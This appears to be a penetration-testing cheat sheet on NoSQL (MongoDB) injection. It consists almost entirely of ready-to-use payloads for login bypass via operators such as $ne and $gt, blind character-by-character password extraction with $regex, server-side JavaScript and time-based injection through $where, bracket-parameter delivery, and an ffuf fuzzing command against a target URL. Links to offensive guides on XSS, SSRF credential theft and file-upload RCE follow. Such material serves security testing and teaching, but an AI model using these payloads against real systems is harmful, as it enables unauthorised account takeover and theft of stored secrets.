web-pentest
NoSQL Injection
NoSQL injection (MongoDB-focused) — authentication bypass with operators, query operator injection, blind regex extraction, server-side $where JavaScript injection, JSON vs form delivery, and NoSQLMap/ffuf tooling.
Authentication Bypass (5)
{"username":"admin","password":{"$ne":null}}
Operator injection — "not equal to null" matches any password
{"username":{"$ne":null},"password":{"$ne":null}}
Log in as the first user when both fields are bypassed
{"username":"admin","password":{"$gt":""}}
Greater-than-empty matches any set password
username=admin&password[$ne]=x
Form/URL-encoded operator injection
{"username":{"$regex":"^adm"},"password":{"$ne":1}}
Regex-match the username, bypass the password
Query Operator Injection (5)
{"$ne":null}
Match anything that is not null
{"$gt":""} / {"$lt":"~"}
Range operators to match populated fields
{"$in":["admin","root"]}
Match any value from a list
{"$exists":true}
Filter on field presence
{"$regex":".*"}
Wildcard regex match
Blind Extraction (Regex Oracle) (3)
password[$regex]=^a.*
Confirm the first character, then iterate the alphabet
username=admin&password[$regex]=^p.*
Character-by-character extraction of a secret field
true vs false response = an oracle for each guessed char
Boolean oracle drives blind NoSQLi
JavaScript Injection ($where) (4)
{"$where":"this.password.match(/.*/)"}
Run server-side JavaScript inside the query
{"$where":"sleep(5000)"}
Time-based blind via $where
'; return true; var x='
Break out of a string into the $where JS context
{"$where":"function(){return this.role=='admin'}"}
Arbitrary JS predicate
Encoding & Delivery (3)
Content-Type: application/json with operator objects
Send real operator objects (not strings) in a JSON body
param[$ne]=1 (x-www-form-urlencoded)
Express/PHP parse bracket params into nested operators
?filter[$gt]=0
Operator injection through query-string bracket notation
Tooling (3)
nosqlmap
Automated MongoDB / NoSQL injection + enumeration
ffuf -w operators.txt -u 'https://target.com/api?id[FUZZ]=1'
Fuzz operator names into bracket parameters
Burp: convert JSON string values into operator objects
Manual operator injection in Repeater
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
